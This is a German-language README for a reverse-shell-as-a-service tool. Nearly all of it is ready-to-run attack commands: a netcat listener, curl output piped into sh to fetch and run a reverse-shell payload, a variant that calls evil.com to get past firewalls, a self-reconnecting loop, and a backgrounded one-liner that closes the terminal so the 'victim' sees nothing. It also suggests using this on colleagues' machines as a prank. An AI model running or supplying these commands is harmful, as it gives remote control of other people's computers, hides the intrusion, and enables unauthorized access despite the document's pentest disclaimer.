
Reverse-Shell-Dienst auf Abruf, der automatisch die Zielumgebung erkennt und den passenden Payload für den Fernzugriff während Penetrationstests ausführt.
Reverse Shell als Dienst - https://reverse-shell.sh
Einfach zu merkende Reverse Shell, die auf den meisten Unix-ähnlichen Systemen funktionieren sollte.
Erkennt verfügbare Software auf dem Ziel und führt eine geeignete Payload aus.
Öffnen Sie auf Ihrem Rechner einen Port und hören Sie darauf. Das geht ganz einfach mit netcat.
nc -l 1337
Pipen Sie auf dem Zielrechner die Ausgabe von https://reverse-shell.sh/yourip:port in sh.
curl https://reverse-shell.sh/192.168.0.69:1337 | sh
Gehen Sie zurück zu Ihrem Rechner; Sie sollten jetzt eine Shell-Eingabeaufforderung haben.
Dies ist für Pentests oder um Kollegen zu zeigen, warum sie ihre Computer immer sperren sollten, gedacht. Bitte verwenden Sie es nicht für böswillige Zwecke.
Sie können anstelle einer IP einen Hostnamen verwenden.
curl https://reverse-shell.sh/localhost:1337 | sh
Da es sich um eine Reverse-Verbindung handelt, kann sie Firewalls durchbrechen und eine Verbindung zum Internet herstellen.
Sie könnten auf einem Server unter evil.com auf Verbindungen lauschen und von innerhalb eines sicheren Netzwerks eine Reverse Shell erhalten mit:
curl https://reverse-shell.sh/evil.com:1337 | sh
Standardmäßig verlieren Sie die Verbindung, wenn die Shell beendet wird. Das kann versehentlich durch einen ungültigen Befehl passieren. Sie können ganz einfach eine Shell erstellen, die versucht, sich wieder zu verbinden, indem Sie sie in eine while-Schleife einwickeln.
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
Seien Sie vorsichtig, wenn Sie dies bei einem Kollegen anwenden: Wenn er das Büro verlässt und dies noch läuft, setzen Sie ihn einem Angriff aus.
Die Terminalsitzung muss offen bleiben, um die Reverse-Shell-Verbindung aufrechtzuerhalten. Das könnte ein verräterisches Zeichen sein, wenn Sie Kollegen einen Streich spielen wollen.
Der folgende Befehl führt die Reverse Shell in einem Hintergrundprozess aus und beendet das Terminal, sodass auf dem Rechner des Opfers keine verdächtigen Terminalfenster offen bleiben.
Stellen Sie sicher, dass Sie dies in einem neuen Terminalfenster ausführen, da Sie sonst alle Arbeiten in Ihrer aktuellen Sitzung verlieren.
sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit
MIT © Luke Childs